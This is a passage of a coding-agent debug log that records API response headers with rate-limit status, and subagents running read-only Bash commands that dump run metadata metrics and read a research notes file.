\"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.303Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:11.308Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:11.311Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:11.318Z] [STDOUT]     \"cf-ray\": \"a4295de65c4229ad-FRA\",\n[2026-09-29T07:45:11.324Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:11.330Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:11.334Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:11.338Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:11.343Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:11 GMT\",\n[2026-09-29T07:45:11.354Z] [STDOUT]     \"request-id\": \"req_011CfXMjgJ8USZ4uKEzZTb4E\",\n[2026-09-29T07:45:11.357Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:11.364Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:11.372Z] [STDOUT]     traceresponse: \"00-a486b942da5893f18d385bbcec8663b8-e6e9b527f4deac25-01\",\n[2026-09-29T07:45:11.378Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:11.390Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:11.407Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:11.419Z] [STDOUT]   },\n[2026-09-29T07:45:11.445Z] [STDOUT]   durationMs: 1043,\n[2026-09-29T07:45:11.452Z] [STDOUT] }\n[2026-09-29T07:45:11.459Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:11.463Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:11 GMT\",\n[2026-09-29T07:45:11.466Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:11.472Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:11.475Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:11.486Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:11.490Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:11.493Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:11.495Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:11.498Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:11.501Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:11.506Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:11.509Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:11.511Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:11.513Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:11.518Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:11.525Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:11.528Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.536Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:11.550Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:11.559Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:11.569Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:11.573Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.578Z] [STDOUT]   \"request-id\": \"req_011CfXMjgJ8USZ4uKEzZTb4E\",\n[2026-09-29T07:45:11.584Z] [STDOUT]   \"traceresponse\": \"00-a486b942da5893f18d385bbcec8663b8-e6e9b527f4deac25-01\",\n[2026-09-29T07:45:11.587Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:11.594Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:11.598Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:11.601Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:11.606Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:11.609Z] [STDOUT]   \"cf-ray\": \"a4295de65c4229ad-FRA\",\n[2026-09-29T07:45:11.612Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:11.617Z] [STDOUT] [log_3bf29b] response parsed {\n[2026-09-29T07:45:11.623Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:11.629Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:11.635Z] [STDOUT]   body: X {\n[2026-09-29T07:45:11.638Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:11.641Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:11.643Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:11.645Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:11.649Z] [STDOUT]     },\n[2026-09-29T07:45:11.651Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:11.654Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:11.658Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:11.661Z] [STDOUT]   },\n[2026-09-29T07:45:11.663Z] [STDOUT]   durationMs: 1048,\n[2026-09-29T07:45:11.665Z] [STDOUT] }\n[2026-09-29T07:45:11.668Z] [STDOUT] [log_5ecd4b, request-id: \"req_011CfXMjhR6kH2wmXq4xLeCW\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1078ms\n[2026-09-29T07:45:11.671Z] [STDOUT] [log_5ecd4b] response start {\n[2026-09-29T07:45:11.675Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:11.678Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:11.681Z] [STDOUT]   headers: {\n[2026-09-29T07:45:11.686Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:11.690Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:11.693Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:11.696Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:11.700Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:11.703Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.705Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:11.709Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:11.712Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:11.715Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:11.718Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:11.722Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:11.727Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:11.732Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.737Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:11.741Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:11.746Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:11.752Z] [STDOUT]     \"cf-ray\": \"a4295de80e344d8b-FRA\",\n[2026-09-29T07:45:11.754Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:11.758Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:11.761Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:11.764Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:11.766Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:11 GMT\",\n[2026-09-29T07:45:11.769Z] [STDOUT]     \"request-id\": \"req_011CfXMjhR6kH2wmXq4xLeCW\",\n[2026-09-29T07:45:11.772Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:11.775Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:11.779Z] [STDOUT]     traceresponse: \"00-4f72becb22e373c3c7207661281f85a8-84d4f322ad1ce25d-01\",\n[2026-09-29T07:45:11.785Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:11.790Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:11.794Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:11.798Z] [STDOUT]   },\n[2026-09-29T07:45:11.803Z] [STDOUT]   durationMs: 1078,\n[2026-09-29T07:45:11.810Z] [STDOUT] }\n[2026-09-29T07:45:11.814Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:11.819Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:11 GMT\",\n[2026-09-29T07:45:11.823Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:11.827Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:11.836Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:11.842Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:11.847Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:11.852Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:11.854Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:11.860Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:11.864Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:11.870Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:11.877Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:11.880Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:11.886Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:11.892Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:11.899Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:11.905Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.909Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:11.914Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:11.917Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:11.922Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:11.927Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.931Z] [STDOUT]   \"request-id\": \"req_011CfXMjhR6kH2wmXq4xLeCW\",\n[2026-09-29T07:45:11.935Z] [STDOUT]   \"traceresponse\": \"00-4f72becb22e373c3c7207661281f85a8-84d4f322ad1ce25d-01\",\n[2026-09-29T07:45:11.938Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:11.941Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:11.944Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:11.948Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:11.950Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:11.953Z] [STDOUT]   \"cf-ray\": \"a4295de80e344d8b-FRA\",\n[2026-09-29T07:45:11.956Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:11.960Z] [STDOUT] [log_5ecd4b] response parsed {\n[2026-09-29T07:45:11.963Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:11.966Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:11.969Z] [STDOUT]   body: X {\n[2026-09-29T07:45:11.973Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:11.976Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:11.982Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:11.985Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:11.989Z] [STDOUT]     },\n[2026-09-29T07:45:11.992Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:11.995Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:11.998Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:12.001Z] [STDOUT]   },\n[2026-09-29T07:45:12.004Z] [STDOUT]   durationMs: 1079,\n[2026-09-29T07:45:12.011Z] [STDOUT] }\n[2026-09-29T07:45:12.017Z] [INFO] {\n[2026-09-29T07:45:12.017Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"message\": {\n[2026-09-29T07:45:12.017Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:12.017Z] [INFO]     \"id\": \"msg_011CfXMjYkTUyHG75Hqugohi\",\n[2026-09-29T07:45:12.017Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:12.017Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:12.017Z] [INFO]     \"content\": [\n[2026-09-29T07:45:12.017Z] [INFO]       {\n[2026-09-29T07:45:12.017Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:12.017Z] [INFO]         \"id\": \"toolu_01LQTJmu9zTpsJ2uCFEMMevK\",\n[2026-09-29T07:45:12.017Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:12.017Z] [INFO]         \"input\": {\n[2026-09-29T07:45:12.017Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport yaml,glob,json\\nfor f in sorted(glob.glob('runs/2026/RUN-*/metadata.yaml')):\\n    d=yaml.safe_load(open(f))\\n    m=d.get('metrics')\\n    if m: print(d['run_id'], json.dumps(m,ensure_ascii=False,default=str)[:700])\\n    for k in ('eval','verdict','success_rate','tokens_input','tokens_output','duration','turns','result_type'):\\n        if k in d: print('   ',k,str(d[k])[:200])\\nEOF\",\n[2026-09-29T07:45:12.017Z] [INFO]           \"description\": \"Dump metrics blocks from run metadata\"\n[2026-09-29T07:45:12.017Z] [INFO]         },\n[2026-09-29T07:45:12.017Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:12.017Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:12.017Z] [INFO]         }\n[2026-09-29T07:45:12.017Z] [INFO]       }\n[2026-09-29T07:45:12.017Z] [INFO]     ],\n[2026-09-29T07:45:12.017Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:12.017Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:12.017Z] [INFO]       \"cache_creation_input_tokens\": 6152,\n[2026-09-29T07:45:12.017Z] [INFO]       \"cache_read_input_tokens\": 43474,\n[2026-09-29T07:45:12.017Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:12.017Z] [INFO]         \"ephemeral_5m_input_tokens\": 6152,\n[2026-09-29T07:45:12.017Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:12.017Z] [INFO]       },\n[2026-09-29T07:45:12.017Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:12.017Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:12.017Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:12.017Z] [INFO]     },\n[2026-09-29T07:45:12.017Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:12.017Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:12.017Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:12.017Z] [INFO]   },\n[2026-09-29T07:45:12.017Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"uuid\": \"21644d0a-a493-4dc2-a55c-cf1dff8314d2\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:11.528Z\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"request_id\": \"req_011CfXMjYCxNBLXXhzSZqQGj\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:12.017Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:12.017Z] [INFO] }\n[2026-09-29T07:45:12.026Z] [INFO] {\n[2026-09-29T07:45:12.026Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"description\": \"Running Dump metrics blocks from run metadata\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:12.026Z] [INFO]     \"total_tokens\": 50192,\n[2026-09-29T07:45:12.026Z] [INFO]     \"tool_uses\": 12,\n[2026-09-29T07:45:12.026Z] [INFO]     \"duration_ms\": 49243\n[2026-09-29T07:45:12.026Z] [INFO]   },\n[2026-09-29T07:45:12.026Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"uuid\": \"19bbd74b-3e0d-407b-bb7a-03cb787e98c6\",\n[2026-09-29T07:45:12.026Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:12.026Z] [INFO] }\n[2026-09-29T07:45:12.031Z] [INFO] {\n[2026-09-29T07:45:12.031Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:12.031Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:45:12.031Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:45:12.031Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:45:12.031Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.031Z] [INFO]   \"uuid\": \"af45afc6-e333-49f0-bda7-5552e76e5545\"\n[2026-09-29T07:45:12.031Z] [INFO] }\n[2026-09-29T07:45:12.199Z] [INFO] {\n[2026-09-29T07:45:12.199Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"message\": {\n[2026-09-29T07:45:12.199Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:12.199Z] [INFO]     \"id\": \"msg_011CfXMjgjBEjTvCNsKvgM5p\",\n[2026-09-29T07:45:12.199Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:12.199Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:12.199Z] [INFO]     \"content\": [\n[2026-09-29T07:45:12.199Z] [INFO]       {\n[2026-09-29T07:45:12.199Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:12.199Z] [INFO]         \"id\": \"toolu_018Ys8BJFRQ4dpsEehDr1par\",\n[2026-09-29T07:45:12.199Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:12.199Z] [INFO]         \"input\": {\n[2026-09-29T07:45:12.199Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && sed -n '18,400p' 2026-09-10-skill-granularity-format-facts.md\",\n[2026-09-29T07:45:12.199Z] [INFO]           \"description\": \"Read skill granularity facts\"\n[2026-09-29T07:45:12.199Z] [INFO]         },\n[2026-09-29T07:45:12.199Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:12.199Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:12.199Z] [INFO]         }\n[2026-09-29T07:45:12.199Z] [INFO]       }\n[2026-09-29T07:45:12.199Z] [INFO]     ],\n[2026-09-29T07:45:12.199Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:12.199Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:12.199Z] [INFO]       \"cache_creation_input_tokens\": 5714,\n[2026-09-29T07:45:12.199Z] [INFO]       \"cache_read_input_tokens\": 37191,\n[2026-09-29T07:45:12.199Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:12.199Z] [INFO]         \"ephemeral_5m_input_tokens\": 5714,\n[2026-09-29T07:45:12.199Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:12.199Z] [INFO]       },\n[2026-09-29T07:45:12.199Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:45:12.199Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:12.199Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:12.199Z] [INFO]     },\n[2026-09-29T07:45:12.199Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:12.199Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:12.199Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:12.199Z] [INFO]   },\n[2026-09-29T07:45:12.199Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"uuid\": \"90391dc8-6924-4816-80b3-2879cb93932c\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:12.195Z\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"request_id\": \"req_011CfXMjgJ8USZ4uKEzZTb4E\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:12.199Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:12.199Z] [INFO] }\n[2026-09-29T07:45:12.206Z] [INFO] {\n[2026-09-29T07:45:12.206Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"description\": \"Running Read skill granularity facts\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:12.206Z] [INFO]     \"total_tokens\": 43090,\n[2026-09-29T07:45:12.206Z] [INFO]     \"tool_uses\": 11,\n[2026-09-29T07:45:12.206Z] [INFO]     \"duration_ms\": 42918\n[2026-09-29T07:45:12.206Z] [INFO]   },\n[2026-09-29T07:45:12.206Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"uuid\": \"a26b11b3-f109-4178-9b5f-287de752f962\",\n[2026-09-29T07:45:12.206Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:12.206Z] [INFO] }\n[2026-09-29T07:45:12.687Z] [INFO] {\n[2026-09-29T07:45:12.687Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:12.687Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:45:12.687Z] [INFO]   \"estimated_tokens\": 197,\n[2026-09-29T07:45:12.687Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:45:12.687Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.687Z] [INFO]   \"uuid\": \"41d24223-bd68-4c7a-ab4c-add261f2a4dd\"\n[2026-09-29T07:45:12.687Z] [INFO] }\n[2026-09-29T07:45:12.695Z] [INFO] {\n[2026-09-29T07:45:12.695Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:12.695Z] [INFO]   \"message\": {\n[2026-09-29T07:45:12.695Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:12.695Z] [INFO]     \"id\": \"msg_011CfXMjhvN3ZrNB1g2axZAM\",\n[2026-09-29T07:45:12.695Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:12.695Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:12.695Z] [INFO]     \"content\": [\n[2026-09-29T07:45:12.695Z] [INFO]       {\n[2026-09-29T07:45:12.695Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:12.695Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:12.695Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:12.695Z] [INFO]     ],\n[2026-09-29T07:45:12.695Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:12.695Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:12.695Z] [INFO]       \"cache_creation_input_tokens\": 9491,\n[2026-09-29T07:45:12.695Z] [INFO]       \"cache_read_input_tokens\": 100396,\n[2026-09-29T07:45:12.695Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:12.695Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:45:12.695Z] [INFO]         \"ephemeral_1h_input_tokens\": 9491\n[2026-09-29T07:45:12.695Z] [INFO]       